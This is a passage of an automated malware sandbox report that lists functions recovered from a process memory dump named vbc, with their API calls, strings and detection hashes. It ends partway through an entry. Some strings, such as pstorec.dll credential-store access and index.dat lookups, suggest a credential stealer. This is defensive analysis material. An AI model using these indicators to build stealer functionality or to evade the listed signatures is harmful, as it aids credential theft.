                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Library$AddressFreeLoadProc
                                                                                                              • String ID: PStoreCreateInstance$pstorec.dll
                                                                                                              • API String ID: 145871493-2881415372
                                                                                                              • Opcode ID: 0c221e4a7068c4d6934d41343829b8b78c46c2a8619205bb2734fd8b0e3e91f3
                                                                                                              • Instruction ID: b7b877f0cca51cf4ed89ca0d343beedc6eb81d3109fbfde12955c258fb57ec89
                                                                                                              • Opcode Fuzzy Hash: 0c221e4a7068c4d6934d41343829b8b78c46c2a8619205bb2734fd8b0e3e91f3
                                                                                                              • Instruction Fuzzy Hash: 4DF0E2713047035BE7206BB99C45B9776E85F40715F10842EB126D16E2DBBCD9808BA9
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00411EF8 Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • FindResourceW.KERNEL32(?,?,?), ref: 00411F05
                                                                                                              • SizeofResource.KERNEL32(?,00000000), ref: 00411F16
                                                                                                              • LoadResource.KERNEL32(?,00000000), ref: 00411F26
                                                                                                              • LockResource.KERNEL32(00000000), ref: 00411F31
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Resource$FindLoadLockSizeof
                                                                                                              • String ID:
                                                                                                              • API String ID: 3473537107-0
                                                                                                              • Opcode ID: adc4f220f09edc5477cff5d460e3159a0013e7b06a0f572b2b282906cd572301
                                                                                                              • Instruction ID: cfb809c5d0a350ba8a2f28afb84d758f7034e38599ab5d81eab5ea4ee58a4c6c
                                                                                                              • Opcode Fuzzy Hash: adc4f220f09edc5477cff5d460e3159a0013e7b06a0f572b2b282906cd572301
                                                                                                              • Instruction Fuzzy Hash: 140192367042156BCB295FA5DC4999BBFAEFF867917088036F909C7331DB30D941C688
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0043800C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 967COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              • only a single result allowed for a SELECT that is part of an expression, xrefs: 004380DE
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset
                                                                                                              • String ID: only a single result allowed for a SELECT that is part of an expression
                                                                                                              • API String ID: 2221118986-1725073988
                                                                                                              • Opcode ID: fea911689c87fcb8dadeea6a797f322e67ae447bf2e03149324d6587d0a0c1b4
                                                                                                              • Instruction ID: 9afff8ac9fdfbc15a9c7ae9a6e2295b57ef319e934304d2411a679509b53bb08
                                                                                                              • Opcode Fuzzy Hash: fea911689c87fcb8dadeea6a797f322e67ae447bf2e03149324d6587d0a0c1b4
                                                                                                              • Instruction Fuzzy Hash: 36826971A00318AFDF25DF69C881AAEBBA1EF08318F14511EFD1597292DB79E841CB94
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0041C702 Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 174COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset
                                                                                                              • String ID: 5lA$BINARY
                                                                                                              • API String ID: 2221118986-2383938406
                                                                                                              • Opcode ID: 5c1320cbab28b8c6fe770ef48558482079ba1b310d7c10d9b0a426fab7bf5df3
                                                                                                              • Instruction ID: bfb3245fc00688105b1f81726e77846e409aff0e69a2cb21cfce066b793b8303
                                                                                                              • Opcode Fuzzy Hash: 5c1320cbab28b8c6fe770ef48558482079ba1b310d7c10d9b0a426fab7bf5df3
                                                                                                              • Instruction Fuzzy Hash: 52519C719443459FDB21DF68C8C1AEA7BE4AF08351F14446FE859CB381D778D980CBA9
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00414E1C Relevance: 4.5, APIs: 3, Instructions: 49fileCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 00414D9F: SetFilePointer.KERNELBASE(?,?,?,00000000), ref: 00414DC0
                                                                                                                • Part of subcall function 00414D9F: GetLastError.KERNEL32 ref: 00414DD1
                                                                                                                • Part of subcall function 00414D9F: GetLastError.KERNEL32 ref: 00414DD7
                                                                                                              • ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 00414E4C
                                                                                                              • GetLastError.KERNEL32 ref: 00414E56
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ErrorLast$File$PointerRead
                                                                                                              • String ID:
                                                                                                              • API String ID: 839530781-0
                                                                                                              • Opcode ID: 3b8e0b6f2cdf357378df206a5466dbf18c64a2966c614271076d748b4fcb6fba
                                                                                                              • Instruction ID: 78f6fc62e556ae6391f2b7d02d7635eeebb8002b3cc976368f6d55ef40470767
                                                                                                              • Opcode Fuzzy Hash: 3b8e0b6f2cdf357378df206a5466dbf18c64a2966c614271076d748b4fcb6fba
                                                                                                              • Instruction Fuzzy Hash: 20016D36244305BBEB108F65EC45BEB7B6CFB95761F100427F908D6240E774ED908AE9
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00414D9F Relevance: 4.5, APIs: 3, Instructions: 30COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • SetFilePointer.KERNELBASE(?,?,?,00000000), ref: 00414DC0
                                                                                                              • GetLastError.KERNEL32 ref: 00414DD1
                                                                                                              • GetLastError.KERNEL32 ref: 00414DD7
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ErrorLast$FilePointer
                                                                                                              • String ID:
                                                                                                              • API String ID: 1156039329-0
                                                                                                              • Opcode ID: 77788fb3081b482f24613af2ac918d7e659f5b9ca52062a4a7545bad1632a255
                                                                                                              • Instruction ID: ce6d17c8e1bf95b997c08e1a60c9ed70337bd99ba9d8843779863386e1f48c80
                                                                                                              • Opcode Fuzzy Hash: 77788fb3081b482f24613af2ac918d7e659f5b9ca52062a4a7545bad1632a255
                                                                                                              • Instruction Fuzzy Hash: 16F03936A10119BBCF009F74EC019EA7BA8EB45760B104726E822E6690EB30EA409AD4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004074C6 Relevance: 4.5, APIs: 3, Instructions: 26COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • GetTempPathW.KERNEL32(00000104,?), ref: 004074DD
                                                                                                              • GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 004074EF
                                                                                                              • GetTempFileNameW.KERNELBASE(?,00000000,00000000,?), ref: 00407506
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Temp$DirectoryFileNamePathWindows
                                                                                                              • String ID:
                                                                                                              • API String ID: 1125800050-0
                                                                                                              • Opcode ID: 2f355c031f751b6a1ddc2a2edf890b8f78de2746b7ef95e2a6202f652ec718e5
                                                                                                              • Instruction ID: d63233cf370321f654e877065783905421c71730e772143eb1ff94a20aa817f7
                                                                                                              • Opcode Fuzzy Hash: 2f355c031f751b6a1ddc2a2edf890b8f78de2746b7ef95e2a6202f652ec718e5
                                                                                                              • Instruction Fuzzy Hash: 4FE0927A900219A7DB205F60DC0DFC7B7BCEB41705F000170B945E2051EB34A7448BA8
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040797A Relevance: 4.5, APIs: 3, Instructions: 26filetimeCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,02000000,00000000), ref: 00407992
                                                                                                              • GetFileTime.KERNEL32(00000000,00000000,00000000,?), ref: 004079A6
                                                                                                              • CloseHandle.KERNELBASE(00000000), ref: 004079AF
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: File$CloseCreateHandleTime
                                                                                                              • String ID:
                                                                                                              • API String ID: 3397143404-0
                                                                                                              • Opcode ID: 041c31d9e9407fe9e03cbdecb7ea826a160ca95df4d7bd98ee38a75b77e0e8fe
                                                                                                              • Instruction ID: e6bbff5c08a4198af29315d7d42b7ef31a127eb680a29a9dbd76eb9c303c227a
                                                                                                              • Opcode Fuzzy Hash: 041c31d9e9407fe9e03cbdecb7ea826a160ca95df4d7bd98ee38a75b77e0e8fe
                                                                                                              • Instruction Fuzzy Hash: 17E04F3620025077E7311B26AC0DF4B6EA9EBC7F22F250629FA11A21E0D6604A11C678
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00407475 Relevance: 3.8, APIs: 3, Instructions: 38COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • malloc.MSVCRT ref: 00407491
                                                                                                              • memcpy.MSVCRT ref: 004074A9
                                                                                                              • free.MSVCRT(00000000,00000000,?,00408025,00000002,?,00000000,?,004082EE,00000000,?,00000000), ref: 004074B2
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: freemallocmemcpy
                                                                                                              • String ID:
                                                                                                              • API String ID: 3056473165-0
                                                                                                              • Opcode ID: cfd8dded6270ab76b115604b577ea4a7b41de6cad30d2a4b436932789bdeb74f
                                                                                                              • Instruction ID: e360d5709d2f3202c1ca25caae3d4aa805c65bf3858a1f44a91d23c9b12a71fe
                                                                                                              • Opcode Fuzzy Hash: cfd8dded6270ab76b115604b577ea4a7b41de6cad30d2a4b436932789bdeb74f
                                                                                                              • Instruction Fuzzy Hash: FFF0E972A082229FD708EB75A94180B779DAF44364710442FF404E3281D738AC40C7A9
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00411B81 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 27registryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • RegQueryValueExW.KERNEL32(?,+#A,00000000,?,?,?), ref: 00411B9C
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: QueryValue
                                                                                                              • String ID: +#A
                                                                                                              • API String ID: 3660427363-1949005428
                                                                                                              • Opcode ID: 92f134ae01a3feefc73df6d4d38666d11d903930afbd525367d44cdb52f1539c
                                                                                                              • Instruction ID: 23d09230a5f55723af222e933bf4facd67b443deb1c5df13faf16267569d7d55
                                                                                                              • Opcode Fuzzy Hash: 92f134ae01a3feefc73df6d4d38666d11d903930afbd525367d44cdb52f1539c
                                                                                                              • Instruction Fuzzy Hash: 78E09277610108FADB05CF50CC42EEE77BDEB00718F1041A9EA02D2150F770AB50C758
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0044233C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • FreeLibrary.KERNELBASE(?,?,0040FF66,?,?,00403292,?), ref: 0044234D
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FreeLibrary
                                                                                                              • String ID: Lh@
                                                                                                              • API String ID: 3664257935-1564020105
                                                                                                              • Opcode ID: 9d0562313ed05c1077c8e865d76b3287021ad506fa066eb96027120c77a5f393
                                                                                                              • Instruction ID: 76fd25b73cfe59c43d76c33e9e0e0ec1b0c89da13299cefcee144e01fa2b623b
                                                                                                              • Opcode Fuzzy Hash: 9d0562313ed05c1077c8e865d76b3287021ad506fa066eb96027120c77a5f393
                                                                                                              • Instruction Fuzzy Hash: 33E0F6B5900B008F93308F2BE944407FBF9BFE56113108E1FE4AAC2A24C3B4A6458F54
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00407B93 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 13fileCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • ReadFile.KERNELBASE(?,?,5"D,00000000,00000000), ref: 00407BAA
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FileRead
                                                                                                              • String ID: 5"D
                                                                                                              • API String ID: 2738559852-199376320
                                                                                                              • Opcode ID: ff886d5e1a4997402200634e3e0df398fd9a7f66ba8de1bb0dfe65b9a394ad27
                                                                                                              • Instruction ID: b1f5ca1499e8e2fa5163bdfa5e58581682f5a8fdc606d8935362a09f0a3b37d8
                                                                                                              • Opcode Fuzzy Hash: ff886d5e1a4997402200634e3e0df398fd9a7f66ba8de1bb0dfe65b9a394ad27
                                                                                                              • Instruction Fuzzy Hash: 46D0923501020DBBDF018F80DC06B997B6DEB0575AF108054BA0095060C7759A10AB64
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004349F1 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 242COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: d
                                                                                                              • API String ID: 0-2564639436
                                                                                                              • Opcode ID: ce38069431d75cbd9469390c6fd040c4a17fe8be27d7aae76b779c9a917add19
                                                                                                              • Instruction ID: 01fd0a19dca965820be780cd5e1a180e940d32085fcd4292c33d665daa4a4ca3
                                                                                                              • Opcode Fuzzy Hash: ce38069431d75cbd9469390c6fd040c4a17fe8be27d7aae76b779c9a917add19
                                                                                                              • Instruction Fuzzy Hash: B7819D716083519FCB10EF1AC84169FBBE0AFC8318F15592FF88497251D778EA85CB9A
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040E227 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 68COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: _wcsicmp
                                                                                                              • String ID: /stext
                                                                                                              • API String ID: 2081463915-3817206916
                                                                                                              • Opcode ID: e7410df3178ec06b149dd267b323e01f272d5e4eb36cc30877f85b29a899849a
                                                                                                              • Instruction ID: 5da650caeba3f583edd317abe6dc9e2273d49bc4fc560570e2d9775ed52fc578
                                                                                                              • Opcode Fuzzy Hash: e7410df3178ec06b149dd267b323e01f272d5e4eb36cc30877f85b29a899849a
                                                                                                              • Instruction Fuzzy Hash: 37218170B00105AFD704FFAA89C1A9DB7A9BF94304F1045BEE415F7382DB79AD218B59
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040946C Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 44COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: wcslen$FileFindFirst
                                                                                                              • String ID: index.dat
                                                                                                              • API String ID: 1858513025-427268347
                                                                                                              • Opcode ID: b5a9187b74a8ffb00ae391732f5c189a4998f68d39988537941cb2dcf05d029e
                                                                                                              • Instruction ID: ea6e303a67c95597c7ba2300e155a691c3aaaa96276431a044c3ae834a976286
                                                                                                              • Opcode Fuzzy Hash: b5a9187b74a8ffb00ae391732f5c189a4998f68d39988537941cb2dcf05d029e
                                                                                                              • Instruction Fuzzy Hash: 8601527180526999EB20E662CD426DE727CAF00314F1041BBA858F21D2EB3CDF868F4D
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00412B2E Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 26COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              • failed to allocate %u bytes of memory, xrefs: 00412B57
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: malloc
                                                                                                              • String ID: failed to allocate %u bytes of memory
                                                                                                              • API String ID: 2803490479-1168259600
                                                                                                              • Opcode ID: f24fcd6304b93913b14247a0557fa27672ef6dd59737270ab95038e43013476f
                                                                                                              • Instruction ID: 83e647f58a001b4b33716092e1dc9084e7a57e1649cb419fd0ecfe0012ae2b1c
                                                                                                              • Opcode Fuzzy Hash: f24fcd6304b93913b14247a0557fa27672ef6dd59737270ab95038e43013476f
                                                                                                              • Instruction Fuzzy Hash: B1E026B7F4561267C2004F1AEC019866790AFC032171A063BF92CD7380D678E9A683A9
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0041946A Relevance: 2.7, APIs: 2, Instructions: 195COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memcmpmemset
                                                                                                              • String ID:
                                                                                                              • API String ID: 1065087418-0
                                                                                                              • Opcode ID: 025fdd92005a470daeaaf52f40e6be84491494a20acb6a1a3520ba0441d5af98
                                                                                                              • Instruction ID: 09c6ddd7a7fbafff04f5e46546a8ec227a467f18660dcb1fea67ae87f7adc2a4
                                                                                                              • Opcode Fuzzy Hash: 025fdd92005a470daeaaf52f40e6be84491494a20acb6a1a3520ba0441d5af98
                                                                                                              • Instruction Fuzzy Hash: EB6170B1E05205FFDB11EFA489A09EEB7B8AB04308F14806FE108E3241D7789ED5DB59
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040C5B3 Relevance: 2.6, APIs: 2, Instructions: 132COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 0040B1B3: ??2@YAPAXI@Z.MSVCRT ref: 0040B1D4
                                                                                                                • Part of subcall function 0040B1B3: ??3@YAXPAX@Z.MSVCRT ref: 0040B29B
                                                                                                              • GetStdHandle.KERNEL32(000000F5,?,00000000,00000001,?,?,?,0040E2DC,00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0040C5DC
                                                                                                              • CloseHandle.KERNELBASE(00000000), ref: 0040C6E9
                                                                                                                • Part of subcall function 0040715D: CreateFileW.KERNELBASE(00000000,40000000,00000001,00000000,00000002,00000000,00000000), ref: 0040716F
                                                                                                                • Part of subcall function 004071BD: GetLastError.KERNEL32(00000000,?,0040C6FE,00000000,?,?,?,0040E2DC,00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 004071D1
                                                                                                                • Part of subcall function 004071BD: _snwprintf.MSVCRT ref: 004071FE
                                                                                                                • Part of subcall function 004071BD: MessageBoxW.USER32 ref: 00407217
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Handle$??2@??3@CloseCreateErrorFileLastMessage_snwprintf
                                                                                                              • String ID:
                                                                                                              • API String ID: 1381354015-0
                                                                                                              • Opcode ID: 437b4ee2f0eb5be7c77dedbcd6cde51050b7bc30ff96baad5e2726301dc593ae
                                                                                                              • Instruction ID: 8008e0f7e2c68a0a7dbf7afa260ddf7c08443fea941bd9d01fd0dc6d198c04cd
                                                                                                              • Opcode Fuzzy Hash: 437b4ee2f0eb5be7c77dedbcd6cde51050b7bc30ff96baad5e2726301dc593ae
                                                                                                              • Instruction Fuzzy Hash: 82415F31B00100EBCB359F69C8C9E5E76A5AF45710F215A2BF406A73D1CB7AAD80CA5D
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00414DE6 Relevance: 2.5, APIs: 2, Instructions: 24sleepCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • Sleep.KERNEL32(00000064), ref: 00414DFF
                                                                                                              • CloseHandle.KERNELBASE(0CC483FF), ref: 00414E08
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: CloseHandleSleep
                                                                                                              • String ID:
                                                                                                              • API String ID: 252777609-0
                                                                                                              • Opcode ID: bdd47c3b9fe514102062cbc93d8af5e804c2569a959601c5796dc848db78b9f9
                                                                                                              • Instruction ID: a5fc701692feba82469beb2995ebf65a4cce15204005db1f3291e32cb0673270
                                                                                                              • Opcode Fuzzy Hash: bdd47c3b9fe514102062cbc93d8af5e804c2569a959601c5796dc848db78b9f9
                                                                                                              • Instruction Fuzzy Hash: 95E0CD372006155FD7005B7CDCC09D77399AF85734725032AF261C3190C665D4424664
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00407EB8 Relevance: 2.5, APIs: 2, Instructions: 14COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • free.MSVCRT(?,00408225,00000000,?,00000000), ref: 00407EBB
                                                                                                              • free.MSVCRT(?,?,00408225,00000000,?,00000000), ref: 00407EC3
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: free
                                                                                                              • String ID:
                                                                                                              • API String ID: 1294909896-0
                                                                                                              • Opcode ID: db2564747f6c9b0ce10efe63d809efe4206ca8195b6051940f8a726424b803a7
                                                                                                              • Instruction ID: 678242c8279a805cd99e0fe810509e5398187bdd4f5249f6459e69a2283f8bf1
                                                                                                              • Opcode Fuzzy Hash: db2564747f6c9b0ce10efe63d809efe4206ca8195b6051940f8a726424b803a7
                                                                                                              • Instruction Fuzzy Hash: 6AD042B0404B009FE7B1DF39D901602BBF0AB083103108D2EA0AAD2A50E775A1049F04
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0041184F Relevance: 1.7, APIs: 1, Instructions: 163COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: d38e8f3c1960096853db929b754299e8bb36200a518ba3430ca6e997618d6073
                                                                                                              • Instruction ID: 55ff56b9d409089a3fd308005a6163f9d76107cb23775aca891517ebd064f6ba
                                                                                                              • Opcode Fuzzy Hash: d38e8f3c1960096853db929b754299e8bb36200a518ba3430ca6e997618d6073
                                                                                                              • Instruction Fuzzy Hash: AA51F6B5A00209AFCF14CFD4C894DEFB7B9EF89704B148559E512AB214EB35A946CB60
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040ED6C Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 0040EDFA: memset.MSVCRT ref: 0040EE42
                                                                                                                • Part of subcall function 0040EDFA: wcslen.MSVCRT ref: 0040EE59
                                                                                                                • Part of subcall function 0040EDFA: wcslen.MSVCRT ref: 0040EE61
                                                                                                                • Part of subcall function 0040EDFA: wcslen.MSVCRT ref: 0040EEBC
                                                                                                                • Part of subcall function 0040EDFA: wcslen.MSVCRT ref: 0040EECA
                                                                                                                • Part of subcall function 0040797A: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,02000000,00000000), ref: 00407992
                                                                                                                • Part of subcall function 0040797A: GetFileTime.KERNEL32(00000000,00000000,00000000,?), ref: 004079A6
                                                                                                                • Part of subcall function 0040797A: CloseHandle.KERNELBASE(00000000), ref: 004079AF
                                                                                                              • CompareFileTime.KERNEL32(?,?,00000000,?,00000000), ref: 0040EDB8
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: wcslen$File$Time$CloseCompareCreateHandlememset
                                                                                                              • String ID:
                                                                                                              • API String ID: 4204647287-0
                                                                                                              • Opcode ID: eeb16535b7e8d9903344e6e4fc87394a79dd4b2724dffbbd49d7f28440978fac
                                                                                                              • Instruction ID: 7375e5b5c48a3cf746583bdb812c6cb833081a8f043ffb24ec2f547d3e817a13
